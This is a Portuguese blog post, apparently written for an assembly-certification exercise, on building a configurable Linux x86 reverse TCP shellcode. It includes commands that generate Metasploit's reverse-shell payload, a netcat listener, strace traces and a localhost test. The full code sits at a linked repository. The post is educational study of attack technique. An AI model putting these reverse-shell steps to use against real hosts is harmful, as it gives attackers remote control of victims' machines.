/*
Este post é uma sequência. Para melhor entendimento, vejam:
*/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-237
Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/2nd.assignment
Tks Jonathan Salwan.
</UPDATE>
</UPDATE>
Segundo Exame
Vivek, para este assignment, designou o seguinte:
Criar um shellcode de Shell Reverse TCP
- Executar um shell ao conectar no host reverso
- Tornar fácil a configuração dos IP e porta
Como material, analisar o linux/x86/shell_reverse_tcp do Metasploit usando o libemu.
libemu - sctest - strace - man
Comecei gerando o fluxograma do shellcode do Metasploit.
# msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 R | /opt/libemu/bin/sctest -Ss 100000 -vvv -G shell_reverse_tcp_metasploit.dot
# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png
# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png
Vê-se que, diferentemente dos shell_bind_tcp nos quais trabalhamos nos posts anteriores, o shell_reverse_tcp, logo após a criação do socket (socket), faz a duplicação (dup2) dos files descriptors e já efetua a conexão (connect) nos endereço e porta definidos para finalmente executar (execve) o "/bin/sh".
Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D
Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D
# nc -l 127.0.0.1 55555
Em outro terminal.
# strace -e socket,connect nc 127.0.0.1 55555
...
...
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
Com as novas informações anotadas e revisadas, construí de primeira o shellcode enxuto em assembly nasm.
Por conta da possibilidade trivial de se configurar a porta e o IP, o shellcode só estará livre de null-bytes caso esses valores não tenham numeração em hexa x00. Entretanto, se o null-byte realmente impossibilitar a utilização do shellcode, temos outras maneiras de darmos bypass. Em próximos posts veremos isso.
O shellcode final teve um aumento de 4 bytes, ficando com 72 (metasploit = 68). Esse acréscimo se deu pela propriedade da configuração do IP e da Porta nos seus primeiros bytes. Mesmo com as instruções diferentes, o resultado foi igual. Vejam.
TESTANDO
Terminal host
# nc -l 127.1.1.1 55555
Terminal cliente
# ./shellcode
Terminal host novamente
# netstat -anp | grep shell
tcp 0 0 127.0.0.1:51600 127.1.1.1:55555 ESTABLISHED 976/shellcode
Reversing (Gotcha)
Mais um shellcode construído: Shell Reverse TCP (Linux/x86) com IP e porta facilmente configuráveis (segundo ao quinto e nono ao décimo byte, respectivamente).P.S.
Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Com todo prazer, farei as alterações colocando os devidos créditos.
[]
Mais Informações
SLAE - SecurityTube Linux Assembly ExpertSecurityTube
libemu
Metasploit
Metasploit Unleashed - Offensive Security
Berkeley Sockets
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel (i4k)
Construindo Shellcodes - Victor Mello (m0nad)
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One
Get all shellcode on binary - commandlinefu
Metasploit
Metasploit Unleashed - Offensive Security
Berkeley Sockets
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel (i4k)
Construindo Shellcodes - Victor Mello (m0nad)
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One
Get all shellcode on binary - commandlinefu
Animal cara! Valeu por compartilhar sua experiência :)
ResponderExcluirObrigado Marcelo!
Excluir"I consider that the golden rule requires that if I like a program I must share it with other people who like it."
(Richard M Stallman)
"Software is like sex; it's better when it's free"
(Linus Torvalds at 1996 FSF conference)